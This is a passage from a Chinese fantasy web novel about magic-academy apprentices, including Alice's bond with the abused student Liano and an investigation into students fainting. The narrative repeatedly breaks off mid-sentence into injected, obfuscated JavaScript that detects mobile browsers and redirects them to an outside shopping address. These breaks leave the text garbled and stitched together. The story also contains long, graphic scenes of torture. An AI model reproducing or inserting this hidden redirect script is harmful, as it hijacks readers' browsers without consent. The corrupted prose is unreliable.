利亚诺不知道她当时看到了自己,也不明白为什么她会说出这些与他并不相称的评价,因为他清楚地记得水元素没有回应他,哪怕他把自己逼迫到极限。而今天,他又失败得如此惨烈。 所以……她要对自己失望了吗? 利亚诺垂下视线,体会着包裹了右手的触感。 她的双手捧着他的右手,将他的手背捂得温温热热的,手心原本火辣辣的伤口则因为灵巧的魔法而冷却下来,连疼痛都消减了。 专注地操纵着水元素的时候,她的拇指总会无意识地在他手腕内侧轻轻摩挲,好像是无声的安慰。 摩挲带来的微微痒意有时让利亚诺的呼吸有些发颤,但是他发现自己有些不想将手拿开。 等她说完吧,说完对自己的失望,然后再由她放开他的手。 这样就可以。 “所以……” 爱丽丝停顿了一下,让默默倾听的人几乎想要逃避。 “所以,现在能和你一起学习我真的很高兴,利亚诺,明天你也来图书馆好不好?” 她只是想说这个。 利亚诺愣住了。 他愣了几秒钟,然后微动的嘴唇就要吐出一个回答,却毫不意外地错过了时机。 因为爱丽丝从刚才起就从未在意过他的沉默,直到现在仍在自顾自地往下说。 “对不起哦,很麻烦你吧?在家里学习魔法的时候,姐姐和克莱因老师也总说我提的问题莫名其妙的……” “我没有……” 利亚诺被自己干哑的声音吓了一跳,他努力稳住其中的颤抖,“我没有不愿意……” 或者,他是想说,好,他不觉得麻烦,他也愿意和她一起。 爱丽丝也微微怔了一下,因为这是他今天第一次回应自己。 “真的吗?好开心~” 她仍在专注地照看着他的伤口,甚至没有抬头。 但利亚诺觉得,她应该是带着笑意。 13. 倾听他的话语 “拜托!请帮助我吧!” 突如其来的热烈话语吓得爱丽丝差点没拿稳手中的餐盘,四周零散的学徒也对这里投来探寻的目光。 爱丽丝谨慎地转过头去,看见一位陌生的、个头与她相仿的女性学徒正目光灼灼地盯着她。 “请、请问……” 她不得不开口询问,却又一时不知道该先问些什么。虽然感觉对方并无恶意,但是她的满头雾水已经快要化作实体将她淹没了! 爱丽丝丝毫不记得自己也曾用相似的语句让另一个人陷入混乱。 仿佛是迟钝地察觉到了爱丽丝的不解,发话的女生主动摘下兜帽,露出一副朴素的圆眼镜和肩头的两束麻花辫,然而她却继续语出惊人。 “您就是传说中的爱丽丝大人吧!” “……?” 从未参与过任何传说的爱丽丝本人露出了呆愣的神色,对方却似乎更加笃定了。 “您别担心,我是奥斯维德大人附属领地巴特莱的学徒莫妮卡,如果您想确认我的身份也完全没问题!” 她热情地用双手拉起爱丽丝的一只手上下摇晃,于是爱丽丝另一只手餐盘里的南瓜派也变得摇摇欲坠起来,“所以,请您一定要帮帮我!” 爱丽丝盯着对方歪头思考了半天,仍在状况外。 “……?” * “所以——你其实是想找到破解秘境的方法是吗——” 爱丽丝双手拢起、以悄悄话的方式与另一边的莫妮卡喊话,同时努力缩小自己,将身形隐藏在低矮的灌木丛之后。 “是的——”另一个灌木丛后同样缩成一团的莫妮卡苦着脸,看上去快哭了,“但是我也没想到我们刚离开主楼就会遇上它——” 轰隆隆的声音再次传来,两人立刻捂着嘴噤声不敢再说话。 那是一个游荡的泥土巨人,拥有着仿佛只存在于秘境中的巨大躯体和厚实的重量,每迈出一步都能让人感觉到大地在震颤。 它似乎正在寻找她们,但凡发现了什么身影或响动,就会以缓慢的动作不可抵挡地靠近查看,行动间投下的巨大阴影都足以令人恐惧。 莫妮卡完全不知道怎么办才好,屡次进入相同的秘境,她也不过是不停地与它玩躲猫猫而已。 “先冷静点,莫妮卡!” 爱丽丝偷偷张望,看准了泥土巨人回头寻找的时机,悄悄摸到了莫妮卡的身旁。 有关她的传说之秘已经弄清楚了,奥斯维德此前指派了信得过的学徒调查伊莎贝拉晕倒的事件,所以莫妮卡才获得了一些相关情报,例如伊莎贝拉曾和爱丽丝同时进入秘境。 作为兢兢业业的调查者,莫妮卡当然也着手了解了爱丽丝的情况,她曾在匡茨教授的土元素操纵课上遇到过爱丽丝,但是—— “我后来才发现您原来是四元素属性的持有者,并且是春季学期所有元素实践课程全优的天赋型魔法师!” 她以热烈饱满的情绪如此说道,完全没发现爱丽丝在过量的夸赞下手足无措差点想要逃走的心情。 于是苦于秘境的莫妮卡终于选择向爱丽丝求助,可是两人刚把话说清踏出学院主楼…… 轰隆隆—— 她们赶紧挤在一起抱紧了脑袋,把自己又缩得更小了一些。 “莫妮卡,你能看看这个巨人和之前有什么区别吗?”爱丽丝轻声问。 她试图回忆与伊莎贝拉一起进入秘境的经历,好像两个人的存在都会对秘境产生影响。 “它变得干枯了,”莫妮卡偷偷抬起头瞄了一眼,又立刻缩回脑袋,“好像干掉的河床一样,我记得之前巨人身上的泥土没有那些皲裂的痕迹。” “嗯……那么要怎么样破解这个秘境呢?是和伊莎贝拉的一样需要施展攻击吗……” 爱丽丝似是自言自语地呢喃,却不料自己的猜想顿时激起莫妮卡的紧张情绪。 “可是、可是我真的不擅长任何强力的攻击魔法!就连土元素的防御魔法都很一般,我只是小领地巴特莱的无名小卒,只会把土元素魔法用来种地而已——”她说着甚至要哇哇大哭了。 爱丽丝只好手忙脚乱,边无措地安慰她,边慌张地查看泥土巨人的状态,却发现远处的泥土巨人似乎并不想攻击。 它来回来去地四处张望,好像在焦躁地寻找着什么,寻找着某种……帮助? 爱丽丝的脑海中突然闪过一个印象,巴特莱好像是阿尔钦领地周边最重要的粮食产地,如果这和土元素魔法的传承有关的话…… “别着急,莫妮卡,能不能告诉我,你一般会怎么使用土元素魔法?” “就、就是……”莫妮卡收住哭腔,一脸懵懂的表情,“调整土壤的状态,像是养分、湿度、蓬松程度,让土地更方便植物生长而已……可是这跟秘境有什么关系?” 爱丽丝的眼睛顿时亮起来,她想起伊莎贝拉的推断,秘境似乎总是与一些人生抉择相联系。 魔法师们在运用土元素的时候,总是关注着那股守护和稳定的力量,土元素的本体存在反而不被重视,没人愿意去枯燥重复地制造一堵泥墙或是对着泥土做这样精细的调整。 但是,如果从大地本身的角度看来,这不是超厉害的魔法吗! 莫妮卡仍然呆愣愣地看着她。 “真的!相信我!你的土元素魔法绝对很厉害!”爱丽丝像要让她醒过来一般摇动莫妮卡的肩膀,又转动她的身体让她面对仍在寻找些什么的泥土巨人。 “听好,莫妮卡,一会儿我先用水元素去浇灌干枯的泥土巨人,”虽然她只看过庞普太太种些香料,也根本不知道土地需要多少水,但是她觉得有莫妮卡在一定没问题,“然后你去用土元素魔法调整巨人身上的泥土,目标是要让那些泥土肥沃到能够种出花来!” “什、什么种花?!我要爬上去种花吗?等等——” 没等莫妮卡反应过来,爱丽丝已经从灌木丛钻出,独自面对向这里走来的泥土巨人。 “柔和湿润的水元素,请为干枯的泥土降下甘霖!” 莫妮卡只好也咬着牙冲了出来,好像面对万顷农田一样对着巨人倾注自己的魔力。 “孕育生命的土元素……”她没空思考,不管不顾地选择了爱丽丝的说法,“请你把这些泥土变得超级超级肥沃吧!!” 泥土巨人没有再向她们走来。 它站在原地,沉默地享受着雨露和养分。 它巨大的躯体上先是冒出一点点绿意,再是长出翠绿的嫩芽,最后……开满了生机勃勃的野花。 它满意地渐渐消散了。 莫妮卡无言地看着这个景象,愣怔地说不出话来。 她好像终于明白了秘境的启示,原来她的使命不在于那些华丽的魔法,也不在于坚实的护盾,而是存在于脚下的每一寸小小的土地上。 这是属于她的魔法。 可惜她的无言只持续了很短的时间。 “您不知道我现在有多激动!我从来都不知道自己的土元素魔法能够拥有这样的力量!我真的无法表达我的感谢,爱丽丝大人!您一定会成为伟大的魔法师!” “等、等等,莫妮卡!”爱丽丝感觉到脸颊似乎有些开始发烫了,她不得不绞尽脑汁抛出另一个话题吸引莫妮卡的注意力,“我想问问你!你重复进入秘境的时候有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他意识到自己其实并不想这样和爱丽丝说话,但他控制不住整个身体的紧绷和敏感,也挥不去身后如黑暗般笼罩上来的寒冷和恐惧。 他不得不劝说她放弃这个想法,即使是采用贬低和伤害自己的方式,即使要暴露那些他不愿为人所知的痛处。 “你找别人吧,我根本不是能够正常施展魔法的人,操纵水元素和火元素的时候你也看到了,我的魔力流动很困难,即使侥幸施法成功,魔力量也太少了,一次次重复使用魔力对我来说负担太大,就连那些最普通的魔法也要调整成需要魔力更低的形式,我根本就不是……” 他似乎从来没有一口气说过这么多话,气息的不足让他的声音开始颤抖,他不得不狼狈地在中途喘了一口气。 “调整……?” 爱丽丝的注意力却被奇怪的地方吸引。 “我根本就不是你应当合作的……” 利亚诺试图继续那些刺伤自己的自弃的话语,但是—— “那不是超厉害吗!你是怎么做的?简化魔法阵?手势魔法也可以简化吗?” 爱丽丝猛然凑上来追问,亮晶晶的双眼就这样直直地对上他的眼睛。 太近了! 利亚诺心口骤然收缩,下意识慌乱地往后退开,却撞倒了原本桌边堆放的书本。 书本纸页一瞬间哗啦啦地倒地,不出几秒,身后已是一片狼藉。 就和他的心一样乱。 14. 与他合作 “利亚诺,你……” 爱丽丝突然发现什么,怔了一下。 她下意识地去拉住利亚诺的手腕,感受到对方几乎不能称之为挣扎的无力的抗拒。她这才意识到利亚诺整个人都在细细发抖,好像身体早已在虚脱边缘喘息。 也是在这样近的距离她才看出,利亚诺的脸色并不好。他的面色苍白,嘴唇也毫无血色,眉头轻轻皱着,额上是未干的冷汗,还有虚浮的呼吸……他仿佛刚熬过了一场漫长的酷刑。 爱丽丝一时失语。 她想她知道了,为什么利亚诺的态度突然这样疏离。 她没有再继续此前有关自制魔法的话题,而是轻拉着他的手腕陪他慢慢坐下休息。 他熬得太辛苦了。 在她所不知道的地方。 “利亚诺……你在疼吗?” 爱丽丝询问的声音像羽毛一样轻,却好像戳中了利亚诺全身最柔软的伤口。 感受到他的顿时紧绷,爱丽丝并不意外,但她坚定地握着他的手腕,用镇静的声音补充。 “不用告诉我理由也可以,我只是想知道你有没有事。” 她知道的。 她知道他会被怀有恶意的无端疼痛折磨,她看过他捱着痛的样子。 而且,她曾经在那样绝望的时候拯救过他,不是驱散疼痛,而是护住他快要破碎的心。 利亚诺感觉得到,她关切的目光始终落在他的面庞上,柔软的指腹一直在他的手腕内侧轻轻摩挲,温温热热的,和上次一样,让他感到熟悉和放心。 他紧抿着唇沉默了很久,久到爱丽丝甚至以为他不会回答了,才轻声地、生疏地开口。 “……已经没事了……” 他在课堂上遇到了特里迪克。 对方起了玩弄他的兴致,毫不停歇地将无形的疼痛塞进他的身体,而他只有受着。 没有人拉住手腕给他一点点温暖,没有人为他张开可以呜咽的屏障,他咬着最后的一点尊严,把所有的痛呼都死死吞咽在喉间,任凭自己在痛苦里煎熬。 他熬得要崩溃,哪怕现下痛苦已经消失、哪怕她的存在提醒着自己他已经来到了安全的地方,都无法停止身体敏感的战栗。 “对不起,我没发现……” 利亚诺在爱丽丝带着内疚的细语里轻轻摇头,专注地体会手腕上温柔的触碰。 在孤身一人忍耐痛苦的时候、在被逼到极限却没有退路的时候……他无法形容出自己有多么渴望能够获得这些。 可是爱丽丝却在这时放开了他的手,利亚诺感受到自己克制不住地打了一个寒颤。 但她没有离开,只是俯下身将那些被他碰倒在地的书籍纸张耐心地整理好,珍惜地将它们重新安置在桌面上,就像她曾经做过的那样。然后她又回到了他身旁,坐在离他很近很近的地方。 “休息一会儿吧,我陪你。”她的声音柔和。 手腕上重新传来的温和的热度,利亚诺终于再次平静下来。 “你想……你想创造什么样的自制魔法?” 安宁的气氛滋养着精疲力竭的身体,似乎也助长了某种勇气,利亚诺得以在缠绕的思虑里犹豫地开口。 他不知道这样是否合适,因为明明是他先拒绝了对方的好意,还回复得那样决绝。 如此反复无常,应当是会遭致厌恶的吧…… “嗯?” 可是爱丽丝却惊喜地眼睛一亮,然后立刻陷入有关魔法的畅想。 “嗯……总感觉有很多想做的呢……”她像是苦恼极了,“增加点心甜味的魔法?修复破碎纸张的魔法?或者做一个图书馆研讨区的简易版也不错,随时随地都可以隐藏住身形和声音……” 那样他就不会那么疼了。 “利亚诺,果然还是跟我合作吧,好不好?我对自己的魔力有点信心,四种元素都可以使用,就算反复试验也可以,到时候就请你帮我调整法阵或者咒文好吗?” 爱丽丝转过头期冀地看着他,好像一直都明白那样生硬的拒绝并非他的本意。 “……好。” 利亚诺听见心跳,还有自己柔软到不可思议的声音。 * 夏季课程的结课仪式,爱丽丝本想像先前一样在宿舍楼下与伊莎贝拉汇合同行,走下楼梯却发现伊莎贝拉和奥斯维德都已经在等着她了。 “怎么了,怎么这么严肃?” 爱丽丝疑惑,因为对面两人的表情看上去都说不上好。 两人对视一眼,奥斯维德先上前开口。 “爱丽丝,随时小心,无故晕倒的人增加了。” 他握着佩剑的剑柄,严肃地盯着她,“是巴特莱领地的莫妮卡。” 爱丽丝微微睁大眼睛,轻吸一口凉气。 那天莫妮卡活泼热情的身影仿佛还在她眼前,并且她曾说自己多次重复进入秘境却从未晕倒过。 是秘境的原因吗?还是其他的? “那她……她现在怎么样了?” 爱丽丝轻轻皱眉露出担忧的神色。 “可能是消耗了过多的魔力,现在仍在治疗室昏迷。” 伊莎贝拉靠近了拉住她的手,“今天是假期前最后一天,我们一起行动,秋季学期开始奥斯维德会着手组建学生自治组织调查这件事,在彻底查清之前至少集体行动会安全些。” 爱丽丝点头,也贴紧了伊莎贝拉,与两人一同前往礼堂。 她还想到另一个人,她担心他。 她知道格罗姆康特家族行事跋扈,向来与奥斯维德及阿尔钦家族不和,她也知道邀请利亚诺之后加入奥斯维德的组织似乎并不合适,格罗姆康特家也不一定会允许这件事的发生。 但她希望至少告诉他目前的情况,哪怕只是提醒他小心。 爱丽丝有点不知道怎么开口,伊莎贝拉却好像明白她的担心,在此刻搂住她的肩膀。 “你当然可以提醒他,不过最好是等他离格罗姆康特家的特里迪克远点儿的时候。”她对爱丽丝挤挤眼睛,直到看见对方的笑容,“放心,我们陪你一起。” 可是爱丽丝在结课仪式上没有见到利亚诺。 她只看见格罗姆康特家的特里迪克。 他的脸上浮着某种愉悦的笑容。 * “呃……!” 利亚诺咬紧牙关,痛苦地皱着眉紧闭双眼。 疼痛毫不停歇地啃噬着整个躯体,让他无数次想要昏死过去。 格罗姆康特家黑暗阴冷的地牢,是他的刑场。 先是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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利亚诺彻底崩溃了,他再也熬不住了。 不知名的魔药在浑身的伤口流淌,好像岩浆在烧灼。 滚烫的痛感直冲上来,他绝望地嘶吼、挣扎,却无法减轻哪怕一丝一毫的苦楚。 特里迪克却还嫌不够似的,拿起羽毛笔沾着玻璃瓶中残余的魔药,一点一点,要将它们描摹在利亚诺全身的每一个隐秘的伤口。 简单的笔划换来无法克制的嘶哑的叫喊,快要触及那些本就敏感到让人发疯的伤口时,利亚诺再也抵抗不了本能的恐惧。 “不要、求你……别……呃啊——!!!” 太漫长了。 他受不了了。 等到翻滚侵袭的无边痛苦终于情愿留恋不舍地消减,利亚诺目光涣散的灰色眼眸里再也映不出任何东西。 可是他快要断线的精神却依然承受着无尽的威胁和逼迫。 “不愿意是吧?呵,你可别搞错了,你能在学院学习是拜谁所赐啊?只要我和父亲说上一句,不,根本不用,只要我偷偷动动手脚……” 特里迪克冷硬的鞋尖在他的每一个伤口狠狠地碾。 “你这辈子就再也别想学习魔法!” 不、不要……唯独这个,唯独这个不行…… 因为魔法已经是……他唯一的…… “呜——!!!” 未尽兴的行刑者选择在受刑人心神动摇的那一瞬间为这副单薄的躯体叠加上所有的痛苦。 除了悲鸣,利亚诺再也发不出别的声音。 15. 不去误解他 利亚诺狼狈地蜷缩在昏暗阴冷的角落里,弓着身体死死咬住手背,不允许自己出声。 这是魔法学院暂时停泊马车的地方,秋季学期即日开始,特里迪克和另外一些侍从学徒已经从这里下车进入学院,格罗姆康特家的马车也已返程,只有他还被疼痛捆绑在这里动弹不得。 一整个假期,他活在地狱里。 毫无尊严的驱使、任意叠加的伤口,还有那瓶让他崩溃的魔药。 复杂的药水被施加了某种强力的咒文,折磨他一次还嫌不够,每隔一段时间就会让那些堪堪愈合的伤口重新开裂一次,重新将他拖入滚烫的岩浆。 无数个夜晚,他孤身一人在阴冷的地牢里绝望地颤抖。 他早就不会去奢望那些绝无可能的良心发现,只求用漫长的忍耐换取继续学习魔法的机会,但特里迪克又怎么可能不知道他隐秘的期望,专挑出发的前一晚在他的大腿内侧铺上细密的新伤。 太疼了。 利亚诺没有资格进入马车车厢,只有用捱了整晚折磨的躯体别无选择地、颤抖地骑上那匹为他准备的马,狠心地将伤口紧贴在粗糙的马鞍上,咬牙忍受马背的颠簸。 特里迪克刻意叫车夫将马赶得很快,而利亚诺只有蜷缩着趴在马背上死死掐住自己。 腰腿持续攀升的酸楚,难言处脆弱敏感的伤口,两者相互牵制着无法消减,又搅在一起成为漫长路途中无处喘息的煎熬,利亚诺忍到快要把牙齿咬碎。 他必须熬住,不然他没有办法从格罗姆康特领地来到学院,不会有人好心给他别的机会。 但是这实在……实在太难熬了…… 每一分每一秒,每一寸前进,每一次上升和下落…… 崩溃的泪水不受控制地滚落,利亚诺感觉自己熬到要疯了。 “你确定吗,爱丽丝?” “嗯,我看到格罗姆康特的马车离开了,特里迪克也和其他学徒一起进入学院了,所以我想他也许会在这里……” 朦胧的交谈声由远及近,利亚诺浑身一僵,瞳孔骤然收缩。 他知道是她,那个他期盼了太久的声音。 只有她会关心他的所在,也只有她能在无边的痛苦里给他一点点咬牙坚持的力量。 但是不行……不行…… 别靠近他……他不配…… 绝望的黑雾将利亚诺笼罩,连半分喘息的空间也不留下。 即使他已经被牢牢钉在黑暗里,至少、至少要让她…… “……利亚诺。” 真切的呼唤声传到耳畔的时候,利亚诺已经决绝地撕碎了内心那些不可言说的渴望。 他逼迫自己强行站起身来,用仍在克制不住地细细发颤的腰腿支撑住虚弱的身躯,然后狠下心敛去所有表情,忍下所有仍在身体各处叫嚣的痛楚。 他用最冷淡的眼神毫无感情地扫过她被阳光镀上金边的身影,然后疏离地、没有停留地走过她的身旁,死死咽下所有浸透了血泪的呜咽,只留下一句淡漠的话语。 “离格罗姆康特家远一点。” “喂!你这是什么意思?!” 不带解释的只言片语轻易地引发了误解,伊莎贝拉猛然回过头大喝,那个远去的背影却毫无反应,这让她越发愤怒。 她从没有见过爱丽丝这样关照谁,这样的态度就是他给予爱丽丝的回应吗? 她知道爱丽丝的迷糊和迟钝,更知道她的真诚和柔软,又怎么可能眼睁睁地看着别人随意践踏这些美好的品格? 爱丽丝很少被愤怒裹挟,但这次,只要她希望,伊莎贝拉不介意去做那个恶人。 她用最后的理智阻止自己跨过爱丽丝代为决定,压下怒火扭头正要询问,却发现爱丽丝正一只手攥着胸前斗篷的布料,出神地看着那个离去的身影。 “他好像……” 爱丽丝的声音有点发颤。 她从没见过那样的利亚诺。 她曾见过那双灰色眼睛里的很多情绪,戒备的、紧张的、局促的、柔和的。 但哪怕是在他隐忍地承受无可逃避的痛苦的时候,她都从未见过如今天这般灰暗的、绝望和自弃到极点的眼神。 被他那样冷淡地对待,爱丽丝不可能不难过,但是更强烈的情绪一瞬间席卷着将其盖过。 她在心痛。 因为他好像很疼。 他好像疼得要受不了了。 * “对不起,你觉得我那时说得有点儿过分了吗……” 伊莎贝拉凑近了爱丽丝小声说。 为了调查学徒晕倒的事件,奥斯维德所建立的学生自治组织的成员正在图书馆的研讨区翻阅资料,三三两两地聚集在一起讨论。 刚从昏迷中恢复的莫妮卡更是莽着一股劲,愣是要查清事情的原委。 但伊莎贝拉看得出来,原本会在此时积极提供帮助的爱丽丝一直因为那件事而情绪低落。 “要不然,下次遇到他的时候我给他道个歉吧?” 伊莎贝拉并不介意放软态度,爱丽丝的情绪显然要比那些气愤重要得多。 并且,当她在幼时因元素属性的缘故变得孤僻而难以相处时,她其实也同样被爱丽丝那份穷追不舍的温暖所感染和拯救…… 这可能也是她对利亚诺莫名敌视的原因吧,他让她想到当时的自己。 不过他的态度实在是不能称之为珍惜。 爱丽丝轻轻摇头,靠在伊莎贝拉肩上,感觉到她用手臂搂住自己的肩膀。 她知道伊莎贝拉只是在为她考虑,因为利亚诺的那句话太像是大领地依仗着权势的随意驱赶。 但她不愿意相信,不愿意这样去解读。 在某种意义上,正是因为伊莎贝拉替她表达了愤怒和难过,她现在才能够冷静地思考。 她认识的利亚诺不会这样。 不会对她冷眼睥睨,更不会仗着格罗姆康特的权势。 但如果是格罗姆康特家族做了不妙的事情…… 爱丽丝的呼吸微微一滞。 如果是这样,利亚诺大概确实会选择和她保持距离。 但她不愿意这样! 她不愿意让他独自承受痛苦。 她知道他总是疼得要熬不住,她希望哪怕不能缓解那些疼痛,至少能握住他冰凉的手。 如果在图书馆等着的话,还能遇到他吗? 也许还有机会的,他之前几次想要避开她,最后却还是由着她慢慢靠近,这次应该也…… ……这次真的还有可能吗? 爱丽丝不确定了。 “现在看来,学徒晕倒的事件并非只有两例,只是此前多数学徒并没有关于此事进行充分信息交流。” 奥斯维德翻阅着统计的纸张轻轻皱眉。 以他为首的学生自治组织正在逐步建立,有关晕倒的汇报却也在同步增多。 “根据目前的统计,学徒晕倒的情况存在共性,包括秘境的白光和魔力的损耗。” “果然还是因为秘境吧。”莫妮卡露出苦恼的神色,“我在晕倒前也看到了秘境的白光,并且因为魔力的消耗整整躺了两天!是因为我的魔力量不够才刻意锻炼我的吗?” “但是秘境是元素对学徒进行的考验对吧?” 爱丽丝看着眼前思索的两人,也暂且隐去心事加入讨论,“元素通过秘境的考验为学徒给出它们的认可,既然这样又为什么要让学徒晕倒呢?” 伊莎贝拉闻言也接上她的话语。 “是啊,而且感觉负责元素考验的院长也不像是会做出这种鲁莽行为的人呢……毕竟是位优雅的女士。” “……伊莎贝拉。” 爱丽丝突然脸色一白,好像听到了鬼故事一般,战战兢兢地开口,“院长……院长不是一位白发的老爷爷吗?” 伊莎贝拉顿时愣住,又和爱丽丝同时看向旁边的奥斯维德,对方的脸上罕见地带上了一言难尽的神色。 “据我所知是一位金发魁梧的男性。”他说。 三人的视线集中起来转向下一处,被盯住的莫妮卡吞咽了一下,惶恐得几乎要不敢说话。 “我、我看见的是一个儿童样貌的男孩……” “……?” * 将冰晶草捣碎,加入适量的水与其汁液混合,制成最粗糙的抵消火元素魔法的药剂。 简单的动作几乎要耗尽利亚诺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092926|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部体力,嘴唇在喘息里苍白得快要发紫,额头淌下虚脱的冷汗。 他隐忍地闭了闭眼。 被魔药翻覆折磨的伤口实在太难熬,他不得不寻找方法将其压制,可是如此粗糙的药剂在使用时不可能好受。 如果花费一些魔力炼制,药剂带来的痛苦会小得多。 但是,珍贵的魔力不能浪费在这种地方。 他不知道格罗姆康特家还会给他多少时间,不知道特里迪克何时会从中作梗,所以他必须在这个学期尽可能多地完成课程去填满学业的凭证,所以他需要在每一天的时间表里塞满课程、压缩寝食、精打细算地使用本就贫瘠的魔力。 哪怕是为了这个,他也要用眼前粗糙的药剂去压制住那些伤口。 又一把杂乱的冰晶草被扔入器皿,焦灼却仍然啃食着他的神经。 他必须完成,必须尽快完成,否则、否则可能就没有机会了。 一个学期,最多两个,把时间压缩到极致的话,应该还撑得过去…… “呃啊……” 痛呼从利亚诺咬紧的牙关溢出。 粗糙而浓厚的药水在伤口处绽开细小的冰晶,刺入已经受了太多折磨的皮肉,又和残留着效力的魔药相撞,翻起尖锐的疼痛。 利亚诺紧皱着眉头逼着自己去承受。 他又怎么会感觉不到爱丽丝的关心,他警惕过、戒备过,可是那些她所给予的温暖和安宁不含半分杂质,让他想要沉溺其中,让他想要也为她做一些什么。 但是他没办法。 他真的没办法了…… 利亚诺不住地颤抖,却仍要一点点为自己施加凌迟的酷刑。 痛到想要昏死过去,却还是要支持着不断把沾了药水的布料按在伤口上,按紧,下压,直到超过忍耐的极限,然后再咬牙继续没有尽头的忍耐。 胸腹那些脆弱的伤口承受冰晶刺入的痛苦时,他不记得自己崩溃了多少次。 大腿内侧被死死按住时,他把小臂生生咬出血痕。 还有背后,他碰不到,无法控制用量,只有粗暴地用浸透了更多冰晶草汁液的布料狠心覆盖上去。大片的伤口面积,更高的药水浓度,利亚诺不用想象都知道那会有多疼。 那会比之前的所有都还要疼,可是他真的已经到极限了…… 他的心跳是混乱而急促的,呼吸已经在恐惧里发颤。 但是他别无选择。 “呃——!!!” 双膝重重砸在地上,利亚诺骤然跪倒在床边。 他的双手死死攥住被单,牙齿也咬住,仅仅几秒钟的时间,他颤抖虚脱的躯体就快要连跪也跪不住。 药效相冲的魔药在背后的每一寸伤口狠狠扭打,翻覆着泛起滚烫和冰冷,直到冰晶草的寒意彻底占了上风,然后是冰晶肆意绽开,侵蚀所有的伤口,蚀骨的寒意让他几乎分不清是冷还是烫。 不、不要……已经到极限了……让他喘口气……让他喘口气吧…… “呜……” 可是他已经被痛苦折磨得没有一丝体力。 攥着被单的手指早已用力到泛白,一旦试图松开,更多的疼痛就如潮水般涌上,逼迫着他不得不重新攥紧,就好像这是他彻底破碎前最后的防线。 已经什么都做不到了,除了颤抖再无其他,甚至无法将背后浸满药水的布料拿下。 他只有将这些寒冷和痛苦全部生生熬过去。 可是这太……太难熬了…… 利亚诺的眼前一阵阵发黑。 恍惚间,他看到床头一小片仿佛不属于这里的柔软的布料。 那是曾经温柔包裹住他的伤处的手帕,被珍重而妥帖地放置在他一抬眼就能够看得到的位置,很多次地提醒他某一天曾经感受过的温暖。 被一点点微弱的祈求驱使着,利亚诺向那个方向伸出颤抖的手指,用尽全身力气,最后却只敢轻轻捏住手帕的一角。 他的手指太过于冰冷,以至于指尖触碰到的手帕似乎都是暖的,就好像她仍在安慰他一样暖到让他想要落泪。 于是利亚诺实在熬不住了。 他在无边的苦楚里轻声呜咽着,诉说着无人听见的委屈。 16. 默默关注他 “总结一下吧。” 奥斯维德用指尖轻点桌面,沉吟着梳理目前的情报。 “也就是说,魔法学院的院长并非是某一个具体的人,而是历代大魔法师留下的力量的集合。他们的意识与魔力融合在一起,驻留在学院中为学徒提供指引,同时也与四元素的力量相联系,由此制造出秘境,帮助学徒更透彻地领悟元素的魔力。” 伴随着他的总结,四下传来学徒们兴奋的讨论声。 “所以我们在每次通过秘境之后才会获得元素的认可!” “这也解释了为什么大家看到的院长形象不一致!因为我们遇到了不同的大魔法师留下的意识!” “天呐,难道我看到的是传说中的大魔法师梅里埃吗?!” “那我见到的院长难不成是那个科尔缪勒大魔法师……” 这些结论确实来之不易。 不知为何,明明是在魔法学院的图书馆,但关于魔法学院本身的信息却寥寥无几。 除了最基本的介绍,其他一些更详细的信息只能通过那些古早到纸张破碎、快要散架的典籍来寻找,那样还不够,还要加上一些书籍上随手批注的只言片语,才能够勉强拼凑事情的真相。 所以,相关的调查几乎花费了奥斯维德及身边学徒将近一整个学期的时间。 与此同时,奥斯维德所建立的学生自治组织的规模也在不断壮大。 除去某些与他针锋相对的势力,来自阿尔钦和周边领地的学徒理所当然地聚集在他身边,伊莎贝拉所在的罗斯戴尔及周边领地也同样如此。 其余友好的大领地很愿意与他联合,更多无甚权势的小领地出身的学徒也乐于获得他的庇护,只要遵守最基本的规章制度就可以获得相应的保护和信息分享,没有什么比这更划算的了。 在自治组织内部,参与事件调查的核心人员也在逐步增多,在秋季学期快要结束的现在,他们已经需要占用一间大阅览室来进行讨论和分析了。 “各位,梳理出这些信息固然是令人欣喜的……” 奥斯维德一开口,兴奋讨论的学徒便逐渐安静下来。 他微微皱着眉,神色并不明朗,“但是,院长的身份和秘境的由来仍然无法解释近期屡次发生的学徒晕倒事件。” 比起令人激动的传说中的秘辛,学徒的安危在他这里要重要得多,这是他身为大领主之子的责任。 奥斯丁副院长早已在学院开启当天声明了她的置身事外,似乎是在她的要求下,学院的其他教授们也不常插手学徒在课程之外的状况,所以他们的调查只能全部依靠自己搜集的资料。 可是,有关学徒无故晕倒的事件,在所有的资料中都没有出现。 即使翻阅了所有古早文献的边边角角,甚至仔细研究了历代学徒随手记下的潦草笔记,也并未见得诸如此类的线索。 在他们调查过程中,仍不时会发生学徒晕倒的事件,数量不多,在结伴而行时似乎更少,但这些线索仍不足以得出太多有价值的结论。 但这学期已没有太多空余时间,奥斯维德只好宣布调查暂时告一段落,叮嘱所有学徒保持结伴行动,如有情况及时汇报。 “爱丽丝,准备走吗?” 收拾资料准备离开阅览室时,伊莎贝拉发现爱丽丝正捧着手中的资料走神。 她早已习惯了爱丽丝在看书时出神,于是唤她一声。 “啊,嗯!这就来!” 爱丽丝也合上了手中的资料,将其妥帖地放置在提供了“历代大魔法师为学院留下力量”这一线索的众多文献之中。 她与伊莎贝拉一起收拾好桌面上剩余的资料,又与仍要进行收尾工作的奥斯维德道了别,和其他结伴回到宿舍的学徒们一同离开了阅览室。 “明天的准备怎么样了,爱丽丝?” 秋风已经逐渐泛起凉意,伊莎贝拉拢了拢外衣随口问道。 